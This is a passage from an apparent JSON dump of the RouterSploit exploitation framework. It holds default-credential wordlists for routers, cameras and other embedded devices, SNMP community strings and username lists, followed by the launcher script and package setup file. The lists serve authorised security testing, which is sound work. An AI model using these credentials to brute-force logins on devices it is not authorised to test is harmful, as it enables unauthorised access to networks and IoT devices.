9_dlob.hans_dir645_V1\nAlphanetworks:wrgn49_dlob_dir600b\nAlphanetworks:wrgnd08_dlob_dir815\nAny:12345\nCSG:SESAME\nCisco:Cisco\nD-Link:D-Link\nDTA:TJM\nEZsetup:\nFIELD:HPONLY\nFIELD:HPP187 SYS\nFIELD:HPWORD PUB\nFIELD:LOTUS\nFIELD:MANAGER\nFIELD:MGR\nFIELD:SERVICE\nFIELD:SUPPORT\nFNNSD3zxhnh168nv31:Zxhnh168nv31\nGEN1:gen1\nGEN2:gen2\nGeardog:Geardog\nGlobalAdmin:GlobalAdmin\nGuest:Guest\nHELLO:FIELD.SUPPORT\nHELLO:MANAGER.SYS\nHELLO:MGR.SYS\nHELLO:OP.OPERATOR\nHPSupport:badg3r5\nHTTP:HTTP\nIntraStack:Asante\nIntraSwitch:Asante\nJDE:JDE\nLUCENT01:UI-PSWD-01\nLUCENT02:UI-PSWD-02\nMAIL:HPOFFICE\nMAIL:MAIL\nMAIL:MPE\nMAIL:REMOTE\nMAIL:TELESUP\nMANAGER:COGNOS\nMANAGER:HPOFFICE\nMANAGER:ITF3000\nMANAGER:SECURITY\nMANAGER:SYS\nMANAGER:TCH\nMANAGER:TELESUP\nMDaemon:MServer\nMGR:CAROLIAN\nMGR:CCC\nMGR:CNAS\nMGR:COGNOS\nMGR:CONV\nMGR:HPDESK\nMGR:HPOFFICE\nMGR:HPONLY\nMGR:HPP187\nMGR:HPP189\nMGR:HPP196\nMGR:INTX3\nMGR:ITF3000\nMGR:NETBASE\nMGR:REGO\nMGR:RJE\nMGR:ROBELLE\nMGR:SECURITY\nMGR:SYS\nMGR:TELESUP\nMGR:VESOFT\nMGR:WORD\nMGR:XLSERVER\nMICRO:RSX\nManagement:TestingR2\nManager:Manager\nManager:friend\nMroot:cat1029\nNAU:NAU\nNETWORK:NETWORK\nNICONEX:NICONEX\nOPERATOR:COGNOS\nOPERATOR:DISC\nOPERATOR:SUPPORT\nOPERATOR:SYS\nOPERATOR:SYSTEM\nOutOfBox:\nPBX:PBX\nPCUSER:SYS\nPFCUser:240653C9467E45\nPRODDTA:PRODDTA\nPSEAdmin:$secure$\nPolycom:SpIp\nRMUser1:password\nRSBCMON:SYS\nSPOOLMAN:HPOFFICE\nSYSADM:sysadm\nSYSDBA:masterkey\nStoogR:\nSweex:Mysweex\nUSERID:PASSW0RD\nUser:Password\nVNC:winterm\nVTech:VTech\nWP:HPOFFICE\nWproot:cat1029\nZXDSL:ZXDSL\naaa:often blank\nabarco:mistral5885\nacc:acc\nadfexc:adfexc\nadm:\nadmin1:password\nadmin2:changeme\nadmin:\nadmin:0\nadmin:0000\nadmin:1111\nadmin:1111111\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:12345678\nadmin:2222\nadmin:22222\nadmin:2601hx\nadmin:362729\nadmin:3UJUh2VemEfUtesEchEC2d2e\nadmin:4321\nadmin:54321\nadmin:7ujMko0admin\nadmin:9999\nadmin:<<< %s(un='%s') = %u\nadmin:Admin123\nadmin:AitbISP4eCiG\nadmin:Ascend\nadmin:BGCVDSL2\nadmin:COadmin123\nadmin:CenturyL1nk\nadmin:NetCache\nadmin:OCS\nadmin:P@ssw0rd\nadmin:Protector\nadmin:QwestM0dem\nadmin:Telstra\nadmin:Uq-4GIt3M\nadmin:abc123\nadmin:admin\nadmin:admin123\nadmin:admin1234\nadmin:adminIWSS85\nadmin:adminadmin\nadmin:adslolitec\nadmin:aquario\nadmin:articon\nadmin:asante\nadmin:asd\nadmin:atlantis\nadmin:barricade\nadmin:bintec\nadmin:cableroot\nadmin:cat1029\nadmin:cciadmin\nadmin:changeme\nadmin:cisco\nadmin:comcomcom\nadmin:conexant\nadmin:default\nadmin:diamond\nadmin:dvr2580222\nadmin:epicrouter\nadmin:extendnet\nadmin:giraff\nadmin:gpon\nadmin:gvt12345\nadmin:h@32LuyD\nadmin:hagpolm1\nadmin:hello\nadmin:ho4uku6at\nadmin:hp.com\nadmin:infoblox\nadmin:ironport\nadmin:isee\nadmin:kont2004\nadmin:linga\nadmin:meinsm\nadmin:michelangelo\nadmin:microbusiness\nadmin:motorola\nadmin:mu\nadmin:my_DEMARC\nadmin:nCwMnJVGag\nadmin:netadmin\nadmin:netoptics\nadmin:noway\nadmin:operator\nadmin:pass\nadmin:password\nadmin:pentagram\nadmin:pwp\nadmin:radius\nadmin:rmnetlm\nadmin:root\nadmin:secure\nadmin:setup\nadmin:sky\nadmin:smallbusiness\nadmin:smcadmin\nadmin:superuser\nadmin:switch\nadmin:synnet\nadmin:sysAdmin\nadmin:system\nadmin:test\nadmin:test1\nadmin:vertex25ektks123\nadmin:visual\nadmin:w2402\nadmin:xad$l#12\nadmin:zhone\nadmin:Zyxel*2012*\nadmin:zhongxing\nadmin:zoomadsl\nadministrator:1234\nadministrator:St0r@ge!\nadministrator:administrator\nadminstat:OCS\nadminstrator:changeme\nadminttd:adminttd\nadminuser:OCS\nadminview:OCS\nanonymous:Exabyte\nanonymous:any@\napc:apc\nat4400:at4400\nbackdoor:\nbank:bank\nbbsd-client:NULL\nbbsd-client:changeme2\nbciim:bciimpw\nbcim:bcimpw\nbcms:bcmspw\nbcnas:bcnaspw\nbin:\nblue:bluepw\nbrowse:browsepw\nbrowse:looker\ncablecom:router\ncablemodem:robotics\ncac_admin:cacadmin\ncas:cascade\nccrusr:ccrusr\ncellit:cellit\ncgadmin:cgadmin\nchronos:facepunch\ncisco:cisco\nclient:client\ncliuser:cliuser\ncmaker:cmaker\ncmc:password\ncomcast:1234\ncorecess:corecess\ncraft:craft\ncraft:craftpw\ncraft:crftpw\ncusadmin:highspeed\ncust:custpw\ncustomer:none\ndadmin:dadmin01\ndaemon:\ndaemon:daemon\ndate:\ndavox:davox\ndb2as:db2as\ndb2as:ibmdb2\ndb2fenc1:db2fenc1\ndb2fenc1:ibmdb2\ndb2inst1:db2inst\ndb2inst1:ibmdb2\ndbadmin:sq!us3r\ndebug:d.e.b.u.g\ndebug:synnet\ndefault:\ndefault:OxhlwSG8\ndefault:S2fGqNFs\ndefault:antslq\ndefault:lJwpbo6\ndefault:tlJwpbo6\ndemos:\ndeskalt:password\ndeskman:changeme\ndesknorm:password\ndeskres:password\ndev:dev\ndevice:device\ndhs3mt:dhs3mt\ndhs3pms:dhs3pms\ndiag:danger\ndiag:switch\ndisttech:4tas\ndraytek:1234\ne250:e250changeme\ne500:e500changeme\ne8ehome:e8ehome\ne8telnet:e8telnet\necho:echo\nemcupdate:password\nenablediag:ironport\neng:engineer\nenquiry:enquirypw\nfield:support\nfriday:\nftp_admi:kilo1987\nftp_inst:pbxk1064\nftp_nmc:tuxalize\nftp_oper:help1954\ngamez:lrkr0x\nglftpd:glftpd\nguest:\nguest:1111\nguest:12345\nguest:guest\nguest:password\nhalt:tlah\nhax0r:\nhelp:\nhelpdesk:OCS\nhsa:hsadb\nhscroot:abc123\ninads:inads\ninads:indspw\ninformix:informix\ninit:initpw\ninstall:llatsni\ninstall:secret\ninstaller:installer\nintel:intel\nintermec:intermec\njack:\njill:\nkermit:kermit\nl2:l2\nl3:l3\nlocate:locatepw\nlogin:0\nlogin:1111\nlogin:8429\nlogin:access\nlogin:admin\nlogin:password\nlp:\nlp:lp\nm1122:m1122\nmaint:maint\nmaint:maintpw\nmaint:ntacdmax\nmaint:rwmaint\nmanager:admin\nmanager:friend\nmanager:manager\nmanager:system\nmanuf:xxyyzz\nmediator:mediator\nmg3500:merlin\nmlusr:mlusr\nmobile:alpine\nmonitor:monitor\nmother:fucker\nmpi:\nmtch:mtch\nmtcl:mtcl\nnaadmin:naadmin\nnasadmin:nasadmin\nnetman:netman\nnetopia:netopia\nnetrangr:attack\nnetscreen:netscreen\nnexthink:123456\nnms:nmspw\nnone:0\nnone:admin\nnsroot:nsroot\nop:op\nop:operator\noperator:$chwarzepumpe\noperator:operator\noperator:profense\noracle:oracle\npadmin:padmin\npatrol:patrol\npi:raspberry\npiranha:piranha\npiranha:q\npoll:tech\npublic:public\nr00t:\nradware:radware\nrapport:r@p8p0r+\nrcust:rcustpw\nreadonly:lucenttech2\nreadwrite:lucenttech1\nrecovery:recovery\nremotessh:5SaP9I26\nreplicator:replicator\nrewt:satori\nro:ro\nroot:\nroot:!2345Asdfg\nroot:00000000\nroot:0p3nm35h\nroot:1001chin\nroot:1111\nroot:1234\nroot:12345\nroot:123456\nroot:12345678\nroot:1234qwer\nroot:1q2w3e4r5\nroot:20080826\nroot:3ep5w2u\nroot:54321\nroot:5up\nroot:666666\nroot:7ujMko0admin\nroot:7ujMko0vizxv\nroot:888888\nroot:Cisco\nroot:D13HH[\nroot:D13hh[\nroot:GM8182\nroot:Mau'dib\nroot:ROOT500\nroot:TANDBERG\nroot:W!n0&oO7.\nroot:Win1doW$\nroot:Zte521\nroot:abc123\nroot:admin\nroot:adminIWSS85\nroot:admin_1\nroot:ahetzip8\nroot:alien\nroot:alpine\nroot:anko\nroot:arcsight\nroot:arkeia\nroot:artica\nroot:ascend\nroot:attack\nroot:awind5885\nroot:blender\nroot:calvin\nroot:cat1029\nroot:centreon\nroot:changeme\nroot:changemenow\nroot:cms500\nroot:dasdec1\nroot:davox\nroot:default\nroot:dottie\nroot:dreambox\nroot:f00b@r\nroot:fivranne\nroot:gforge\nroot:grouter\nroot:hi3518\nroot:hipc3518\nroot:hslwificam\nroot:hunt5759\nroot:iDirect\nroot:ikwb\nroot:inflection\nroot:ipc71a\nroot:ipcam_rt5350\nroot:ivdev\nroot:juantech\nroot:jvbzd\nroot:klv123\nroot:klv1234\nroot:letacla\nroot:m\nroot:nagiosxi\nroot:nas4free\nroot:nasadmin\nroot:oelinux123\nroot:openelec\nroot:openvpnas\nroot:pass\nroot:password\nroot:permit\nroot:rain\nroot:raspi\nroot:realtek\nroot:reecam4debug\nroot:root\nroot:rootme\nroot:solokey\nroot:svgodie\nroot:system\nroot:t0talc0ntr0l4!\nroot:taZz@01\nroot:taZz@23495859\nroot:testpass123\nroot:tini\nroot:toor\nroot:tsgoingon\nroot:tslinux\nroot:user\nroot:vizxv\nroot:vmware\nroot:wh00t!\nroot:wyse\nroot:xc3511\nroot:xmhdipc\nroot:zhongxing\nroot:zlxx.\nroot:zsun1188\nrouter:router\nrw:rw\nrwa:rwa\nscmadmin:scmchangeme\nsecurity:security\nservice:ipdongle\nservice:service\nservice:smile\nsetup:changeme\nsetup:changeme(exclamation)\nsetup:setup\nsmc:smcadmin\nspcl:0\nsplunkadmin:changeme\nstorwatch:specialist\nsu:super\nsuper.super:master\nsuper:5777364\nsuper:debug\nsuper:forgot\nsuper:super\nsuper:surt\nsuperadmin:Is$uper@dmin\nsuperadmin:secret\nsuperman:21241036\nsuperman:superman\nsuperman:talent\nsuperuser:123456\nsuperuser:admin\nsuperuser:passw0rd\nsupervisor:PlsChgMe!\nsupervisor:PlsChgMe1\nsupervisor:supervisor\nsupervisor:zyad1234\nsupport:h179350\nsupport:support\nsupport:supportpw\nswift:swift\nsync:\nsys:uplink\nsysadm:anicust\nsysadm:sysadm\nsysadmin:PASS\nsysadmin:password\nsysadmin:sysadmin\nsystem/manager:sys/change_on_install\nsystem:password\nsystem:sys\ntarget:password\nteacher:password\ntech:field\ntech:tech\ntelco:telco\ntele2:tele2\ntelecom:telecom\ntelecomadmin:******\ntelecomadmin:admintelecom\ntelecomadmin:nE7jA%5m\ntelecomadmin:telecomadmin\ntellabs:tellabs#1\ntelnet:telnet\ntelnetadmin:telnetadmin\ntemp1:password\ntest:test\ntest:test1\ntiara:tiaranet\ntiger:tiger123\ntoor:\ntopicalt:password\ntopicnorm:password\ntopicres:password\ntrans:trans\ntrue:true\ntutor:\ntw:tw\nubnt:ubnt\nucspe:ucspe\nupgrade:Th0ms0n!\nuser3:12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678\nuser:debug\nuser:forgot\nuser:pass\nuser:password\nuser:public\nuser:tivonpw\nuser:user\nvcr:NetVCR\nvolition:volition\nvstarcam2015:20150602\nvt100:public\nwank:wank\nwebadmin:1234\nwebadmin:webadmin\nwebsecadm:changeme\nwlse:wlsedb\nwradmin:trancell\nwrite:private\nwww2:9311\nwww:9311\nxbox:xbox\nxd:xd\n"
  },
  {
    "path": "routersploit/resources/wordlists/passwords.txt",
    "content": "\n!2345Asdfg\n!manage\n$chwarzepumpe\n$secure$\n(brak)\n******\n0\n0000\n000000\n00000000\n0P3N\n0p3nm35h\n1001chin\n10023\n102030\n1064\n1111\n111111\n1111111\n11111111\n112233\n121212\n123\n123123\n123123123\n123321\n1234\n12345\n123456\n1234567\n12345678\n123456789\n1234567890\n12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678\n1234admin\n1234qwer\n123654\n123qwe\n12871\n1502\n166816\n1q2w3e\n1q2w3e4r\n1q2w3e4r5\n1qaz2wsx\n20080826\n20150602\n21241036\n2222\n22222\n222222\n240653C9467E45\n2601hx\n263297\n266344\n31994\n3477\n362729\n3ascotel\n3bb\n3ep5w2u\n3ware\n4321\n456\n4getme2\n4tas\n54321\n555555\n561384\n5678\n56789\n5777364\n5SaP9I26\n5up\n654321\n666666\n6666666\n753951\n7777777\n7ujMko0admin\n7ujMko0vizxv\n8111\n8429\n888888\n888888:\n9311\n987654321\n9999\n<<< %s(un='%s') = %u\n@dsl_xilno\nADMINISTRATOR\nADTRAN\nANS#150\nAdmin\nAdmin123\nAitbISP4eCiG\nAsante\nAscend\nBGCVDSL2\nBRIDGE\nCAROLIAN\nCCC\nCNAS\nCOGNOS\nCONV\nCOadmin123\nCenturyL1nk\nCisco\nCol2ogro2\nD-Link\nD13HH[\nD13hh[\nDATA\nDISC\nDj9@t!n03g4r6#f\nExabyte\nFIELD.SUPPORT\nFireport\nGM8182\nGeardog\nGlobalAdmin\nGuest\nHP\nHPDESK\nHPOFFICE\nHPONLY\nHPP187\nHPP187 SYS\nHPP189\nHPP196\nHPWORD PUB\nHTTP\nHelpdesk\nILMI\nINTX3\nITF3000\nIntel\nIs$uper@dmin\nJDE\nLOTUS\nMAIL\nMANAGER\nMANAGER.SYS\nMGR\nMGR.SYS\nMPE\nMServer\nManager\nMaster\nMau'dib\nMenara\nMiniAP\nMulti\nMysweex\nNAU\nNETBASE\nNETWORK\nNICONEX\nNULL\nNetCache\nNetICs\nNetSurvibox\nNetVCR\nOCS\nOP.OPERATOR\nOkiLAN\nOxhlwSG8\nP@55w0rd!\nP@ssw0rd\nPASS\nPASSW0RD\nPASSWORD\nPBX\nPRODDTA\nPUB\nPassword\nPlsChgMe\nPlsChgMe!\nPlsChgMe1\nPosterie\nProtector\nQwestM0dem\nR1QTPS\nREGO\nREMOTE\nRIP000\nRJE\nROBELLE\nROOT500\nRSX\nS2fGqNFs\nSECURITY\nSERVICE\nSESAME\nSKY_FOX\nSMDR\nSSA\nSUPER\nSUPPORT\nSYS\nSYSTEM\nSeries\nSharp\nSpIp\nSt0r@ge!\nSuper\nSymbol\nTANDBERG\nTCH\nTELESUP\nTENmanUFactOryPOWER\nTJM\nTelecom\nTelstra\nTest1234!\nTestingR2\nTh0ms0n!\nUI-PSWD-01\nUI-PSWD-02\nUq-4GIt3M\nUser\nVESOFT\nVTech\nW!n0&oO7.\nWORD\nWin1doW$\nWireless\nXLSERVER\nZXDSL\nZte521\nZxhnh168nv31\n_Cisco\naaaaaa\nabc\nabc123\nabcd1234\nabcdef\nacc\naccess\nadfexc\nadmin\nadmin00\nadmin01\nadmin123\nadmin1234\nadmin1234567890\nadminIWSS85\nadmin_1\nadminadmin\nadministrator\nadmintelecom\nadminttd\nadmn\nadress\nadslolitec\nadslroot\nadtran\nahetzip8\nalexander\nalien\nalpine\nandrea\nandrew\nanicust\nanko\nantslq\nany@\napc\naquario\narcsight\narkeia\nartica\narticon\nasante\nascend\nasd\nasdasd\nasdfasdf\nasdfgh\nasdfghj\nasdfghjkl\nat4400\natc123\natlantis\nattack\naw%root?\nawind5885\nazerty\nbackdoor\nbadg3r5\nbank\nbarricade\nbaseball\nbciimpw\nbcimpw\nbcmspw\nbcnaspw\nbcpb+serial#\nbintec\nblank\nblender\nbluepw\nbrowsepw\nbuster\ncableroot\ncacadmin\ncalvin\ncascade\ncat10\ncat1029\ncciadmin\nccrusr\ncellit\ncentreon\ncgadmin\nchangeme\nchangeme(exclamation)\nchangeme2\nchangemenow\ncharlie\nchocolate\ncisco\ncitel\nclient\ncliuser\ncmaker\ncms500\ncol1ma\ncomcomcom\ncomputer\nconexant\nconnect\ncorecess\ncraft\ncraftpw\ncrftpw\ncustpw\nd.e.b.u.g\nd1scovery\ndadmin01\ndaemon\ndanger\ndaniel\ndasdec1\ndavox\ndb2as\ndb2fenc1\ndb2inst\ndebug\ndefault\ndetmond\ndev\ndevice\ndhs3mt\ndhs3pms\ndiamond\ndottie\ndraadloos\ndragon\ndreambox\ndvr2580222\ne250changeme\ne500changeme\ne8ehome\ne8telnet\necho\nengineer\nenquirypw\nenter\nepicrouter\nexpert\nexpert03\nextendnet\nf00b@r\nfacepunch\nfdsa\nfield\nfivranne\nfootball\nforgot\nfreedom\nfriend\nfucker\nfuckyou\nganteng\ngen1\ngen2\ngforge\nggdaseuaimhrke\nginger\ngiraff\nglftpd\ngpon\ngrouter\nguest\ngvt12345\nh179350\nh@32LuyD\nhagpolm1\nhannah\nhawk201\nhello\nhelp\nhelp1954\nhi3518\nhighspeed\nhipc3518\nho4uku6at\nhp.com\nhs7mwxkk\nhsadb\nhslwificam\nhunt5759\niDirect\nibmdb2\nikwb\niloveyou\nimages\nimss7.0\ninads\nindspw\ninflection\ninfoblox\ninformix\ninfrant1\ninitpw\ninstaller\nintel\nintermec\ninternet\nipc71a\nipcam_rt5350\nipdongle\nironport\nisee\nisp\nivdev\njannie\njennifer\njessica\njordan\njoshua\njuantech\njvbzd\nkermit\nkiller\nkilo1987\nklv123\nklv1234\nkont2004\nl2\nl3\nlJwpbo6\nlaflaf\nlantronix\nletacla\nletmein\nleviton\nlinga\nlive\nliverpool\nllatsni\nlocatepw\nlooker\nlp\nlrkr0x\nlucenttech1\nlucenttech2\nm\nm1122\nmaggie\nmaint\nmaintpw\nmanager\nmaster\nmasterkey\nmatrix\nmediator\nmedion\nmeinsm\nmercury\nmerlin\nmichael\nmichelangelo\nmichelle\nmicrobusiness\nmistral5885\nmlusr\nmonitor\nmonkey\nmono\nmotorola\nmtch\nmtcl\nmu\nmy_DEMARC\nmysweex\nn/a\nnCwMnJVGag\nnE7jA%5m\nnaadmin\nnagiosxi\nnas4free\nnasadmin\nnetadmin\nnetgear1\nnetman\nnetopia\nnetoptics\nnetscreen\nnicole\nnimdaten\nnmspw\nnokai\nnokia\nnone\nnoway\nnsroot\nntacdmax\noelinux123\noften blank\nop\nopenelec\nopenvpnas\noperator\noracle\norion99\notbu+1\nover\np1nacate\npadmin\npass\npassw0rd\npassword\npassword1\npasswort\npatrol\npbxk1064\npentagram\npento\npepper\npermit\npfsense\npi\npilou\npiranha\nprincess\nprivate\nprofense\npublic\npublic/private/secret\npurple\npwp\nq\nqazwsx\nqwerty\nqwertyuiop\nr@p8p0r+\nradius\nradware\nraidzone\nrain\nraspberry\nraspi\nrcustpw\nrealtek\nrecovery\nredips\nreecam4debug\nreplicator\nrmnetlm\nro\nrobotics\nroot\nrootme\nrouter\nrw\nrwa\nrwmaint\nsamsung\nsatori\nscmchangeme\nscout\nsecret\nsecure\nsecurity\nserial#\nservice\nsetup\nshadow\nsitecom\nsky\nsmallbusiness\nsmcadmin\nsmile\nsnmp-Trap\nsnoopy1\nsoccer\nsoftware01\nsolokey\nspecialist\nspeedxess\nsq!us3r\nstar\nstratauser\nsu@psir\nsummer\nsunshine\nsuper\nsuperman\nsuperuser\nsupervisor\nsupport\nsupportpw\nsurt\nsvgodie\nswift\nswitch\nsymbol\nsynnet\nsys\nsys/change_on_install\nsysAdmin\nsysadm\nsysadmin\nsystem\nt0talc0ntr0l4!\ntaZz@01\ntaZz@23495859\ntalent\ntech\ntelco\ntele2\ntelecom\ntelecomadmin\ntelkomjatineg4r4\ntellabs#1\ntelnet\ntelnetadmin\ntest\ntest1\ntestpass123\nthomas\ntiaranet\ntiger123\ntigger\ntimely\ntini\ntivonpw\ntlJwpbo6\ntlah\ntoor\ntrancell\ntrans\ntrue\ntruetime\ntrustno1\ntsgoingon\ntslinux\ntuxalize\ntw\nubnt\nucspe\nuplink\nuser\nvertex25ektks123\nvisual\nvizxv\nvmware\nvodafone\nvolition\nw0rkplac3rul3s\nw2402\nwampp\nwank\nwapnd03cm_dkbs_dap2555\nwapnd04cm_dkbs_dap3525\nwapnd15_dlob_dap1522b\nwebadmin\nwelcome\nwg\nwh00t!\nwhatever\nwinterm\nwlsedb\nwlsepassword\nwrgac01_dlob.hans_dir865\nwrgg15_di524\nwrgg19_c_dlwbr_dir300\nwrgn22_dlwbr_dir615\nwrgn23_dlwbr_dir300b\nwrgn23_dlwbr_dir600b\nwrgn28_dlob_dir412\nwrgn39_dlob.hans_dir645\nwrgn39_dlob.hans_dir645_V1\nwrgn49_dlob_dir600b\nwrgnd08_dlob_dir815\nwyse\nx-admin\nx40rocks\nxad$l#12\nxbox\nxc3511\nxd\nxdfk9874t3\nxmhdipc\nxxyyzz\nzhone\nzhongxing\nzlxx.\nzoomadsl\nzsun1188\nzxcvbnm\nzyad1234\nZyxel*2012*"
  },
  {
    "path": "routersploit/resources/wordlists/snmp.txt",
    "content": "public\nprivate\n0\n0392a0\n1234\n2read\n4changes\nANYCOM\nAdmin\nC0de\nCISCO\nCR52401\nIBM\nILMI\nIntermec\nNoGaH$@!\nOrigEquipMfr\nPRIVATE\nPUBLIC\nPrivate\nPublic\nSECRET\nSECURITY\nSNMP\nSNMP_trap\nSUN\nSWITCH\nSYSTEM\nSecret\nSecurity\nSwitch\nSystem\nTENmanUFactOryPOWER\nTEST\naccess\nadm\nadmin\nagent\nagent_steal\nall\nall private\nall public\napc\nbintec\nblue\nc\ncable-d\ncanon_admin\ncc\ncisco\ncommunity\ncore\ndebug\ndefault\ndilbert\nenable\nfield\nfield-service\nfreekevin\nfubar\nguest\nhello\nhp_admin\nibm\nilmi\nintermec\ninternal\nl2\nl3\nmanager\nmngt\nmonitor\nnetman\nnetwork\nnone\nopenview\npass\npassword\npr1v4t3\nproxy\npubl1c\nread\nread-only\nread-write\nreadwrite\nred\nregional\nrmon\nrmon_admin\nro\nroot\nrouter\nrw\nrwa\ns!a@m#n$p%c\nsan-fran\nsanfran\nscotty\nsecret\nsecurity\nseri\nsnmp\nsnmpd\nsnmptrap\nsolaris\nsun\nsuperuser\nswitch\nsystem\ntech\ntest\ntest2\ntiv0li\ntivoli\ntrap\nworld\nwrite\nxyzzy\nyellow\n\n"
  },
  {
    "path": "routersploit/resources/wordlists/usernames.txt",
    "content": "!root\n1.79\n1111\n11111\n1234\n1502\n2000\n266344\n31994\n3comcso\n4Dgifts\n60020\n66666\n666666\n888888\nADMINISTRATOR\nADMN\nADSL\nADVMAIL\nAdmin\nAdministrator\nAlphanetworks\nAnonymous\nAny\nCISCO15\nCSG\nCisco\nClarissa\nD-Link\nDTA\nEZsetup\nFIELD\nFNNSD3zxhnh168nv31\nFORCE\nFactory\nGEN1\nGEN2\nGeardog\nGearguy\nGlobalAdmin\nGuest\nHELLO\nHPN\nHPOFFICE\nHPP187\nHPSupport\nHPWORD\nHTTP\nIntraStack\nIntraSwitch\nJDE\nLUCENT01\nLUCENT02\nMAC\nMAIL\nMANAGER\nMD110\nMDaemon\nMGR\nMICRO\nManagement\nManager\nMcdataSE\nMenara\nMroot\nNAU\nNETOP\nNETWORK\nNICONEX\nOPERATOR\nOR\nOutOfBox\nPBX\nPCUSER\nPFCUser\nPRODDTA\nPSEAdmin\nPolycom\nRMUser1\nRSBCMON\nRoot\nSPOOLMAN\nSSA\nSUPERUSER\nSYSADM\nSYSDBA\nService\nStoogR\nSweex\nTMAR#HWMT8007079\nUSERID\nUser\nVNC\nVTech\nWP\nWproot\nZXDSL\naaa\nabarco\nacc\nadfexc\nadm\nadmin\nadmin1\nadmin2\nadministrator\nadminstat\nadminstrator\nadminttd\nadminuser\nadminview\nall\nami\nanonymous\napc\nat4400\nbackdoor\nbank\nbbsd-client\nbciim\nbcim\nbcms\nbcnas\nbin\nblue\nbrowse\ncablecom\ncablemodem\ncac_admin\ncas\nccrusr\ncellit\ncgadmin\ncharacters)\nchronos\ncisco\ncitel\nclient\ncliuser\ncmaker\ncmc\ncomcast\ncorecess\ncraft\ncusadmin\ncust\ncustomer\nd.e.b.u.g\ndadmin\ndaemon\ndate\ndavox\ndb2as\ndb2fenc1\ndb2inst1\ndbadmin\ndebug\ndefault\ndefug\ndemos\ndeskalt\ndeskman\ndesknorm\ndeskres\ndev\ndevice\ndhs3mt\ndhs3pms\ndiag\ndisttech\ndraytek\ne250\ne500\ne8ehome\ne8telnet\necho\nedimax\nemcupdate\nenable\nenablediag\neng\nengmode\nenquiry\nexpert\nfield\nfriday\nftp_admi\nftp_inst\nftp_nmc\nftp_oper\nftpuser\ngamez\nglftpd\nguest\nhalt\nhax0r\nhelp\nhelpdesk\nhsa\nhscroot\nhydrasna\niclock\nimages\ninads\ninformix\ninit\ninstall\ninstaller\nintegrator\nintel\nintermec\nisp\njack\njagadmin\njill\nkermit\nl2\nl3\nlive\nlocate\nlogin\nlp\nm1122\nmac\nmaint\nmaintainer\nmanage\nmanager\nmanuf\nmediator\nmg3500\nmlusr\nmobile\nmonitor\nmother\nmpi\nmso\nmtch\nmtcl\nn/a\nnaadmin\nnasadmin\nnetadmin\nnetman\nnetopia\nnetrangr\nnetscreen\nnewuser\nnexthink\nnms\nnmt\nnone\nnsroot\noften\non\nop\noperator\noracle\npadmin\npatrol\npi\npiranha\npmd\npoll\npublic\nr00t\nradware\nrapport\nraspberry\nrcust\nreadonly\nreadwrite\nrecovery\nremotessh\nreplicator\nrewt\nro\nroot\nrouter\nrw\nrwa\nsa\nscmadmin\nscout\nsecurity\nserial#\nservice\nsetup\nsmc\nsmcadmin\nspcl\nsplunkadmin\nstorwatch\nstratacom\nsu\nsuper\nsuper.super\nsuperadmin\nsuperman\nsuperuser\nsupervisor\nsupport\nsweex\nswift\nsync\nsys\nsysadm\nsysadmin\nsystem\nsystem/manager\ntarget\nteacher\ntech\ntelco\ntele2\ntelecom\ntelecomadmin\ntellabs\ntelnet\ntelnetadmin\ntemp1\ntest\ntiara\ntiger\ntoor\ntopicalt\ntopicnorm\ntopicres\ntrans\ntrue\ntutor\ntw\nubnt\nucspe\nupgrade\nuser\nuser3\nvcr\nveda\nvodafone\nvolition\nvstarcam2015\nvt100\nwank\nwebadmin\nwebsecadm\nwlse\nwlseuser\nwradmin\nwrite\nwww\nwww2\nxbox\nxd\n"
  },
  {
    "path": "rsf.py",
    "content": "#!/usr/bin/env python3\n\nimport logging.handlers\nimport sys\nif sys.version_info.major < 3:\n    print(\"RouterSploit supports only Python3. Rerun application in Python3 environment.\")\n    exit(0)\n\nfrom routersploit.interpreter import RoutersploitInterpreter\n\nlog_handler = logging.handlers.RotatingFileHandler(filename=\"routersploit.log\", maxBytes=500000)\nlog_formatter = logging.Formatter(\"%(asctime)s %(levelname)s %(name)s       %(message)s\")\nlog_handler.setFormatter(log_formatter)\nLOGGER = logging.getLogger()\nLOGGER.setLevel(logging.DEBUG)\nLOGGER.addHandler(log_handler)\n\n\ndef routersploit(argv):\n    rsf = RoutersploitInterpreter()\n    if len(argv[1:]):\n        rsf.nonInteractive(argv)\n    else:\n        rsf.start()\n\nif __name__ == \"__main__\":\n    try:\n        routersploit(sys.argv)\n    except (KeyboardInterrupt, SystemExit):\n        pass\n"
  },
  {
    "path": "setup.py",
    "content": "from setuptools import setup, find_packages\n\n\nwith open(\"README.md\", \"r\") as f:\n    long_description = f.read()\n\nsetup(\n    name=\"routersploit\",\n    version=\"3.4.7\",\n    description=\"Exploitation Framework for Embedded Devices\",\n    long_description=long_description,\n    author=\"Threat9\",\n    author_email=\"marcin@threat9.com\",\n    url=\"https://www.threat9.com\",\n    download_url=\"https://github.com/threat9/routersploit/\",\n    packages=find_packages(),\n    include_package_data=True,\n    scripts=('rsf.py',),\n    entry_points={},\n    python_requires='>=3.9',\n    install_requires=[\n        \"requests\",\n        \"paramiko\",\n        \"pysnmp\",\n        \"pycryptodome\",\n    ],\n    extras_require={\n        \"tests\": [\n            \"pytest\",\n            \"pytest-forked\",\n            \"pytest-xdist\",\n            \"flake8\",\n        ],\n    },\n    classifiers=[\n        \"Operating System :: POSIX\",\n        \"Environment :: Console\",\n        \"Environment :: Console :: Curses\",\n        \"License :: OSI Approved :: BSD License\",\n        \"Programming Language :: Python\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Intended Audience :: Developers\",\n        \"Intended Audience :: Education\",\n        \"Intended Audience :: Information Technology\",\n        \"Intended Audience :: Science/Research\",\n        \"Intended Audience :: System Administrators\",\n        \"Intended Audience :: Telecommunications Industry\",\n        \"Topic :: Security\",\n        \"Topic :: System :: Networking\",\n        \"Topic :: Utilities\",\n    ],\n)\n"
  },
  {
    "path": "tests/__init__.py",
    "content": ""
  },
  {
    "path": "tests/conftest.py",
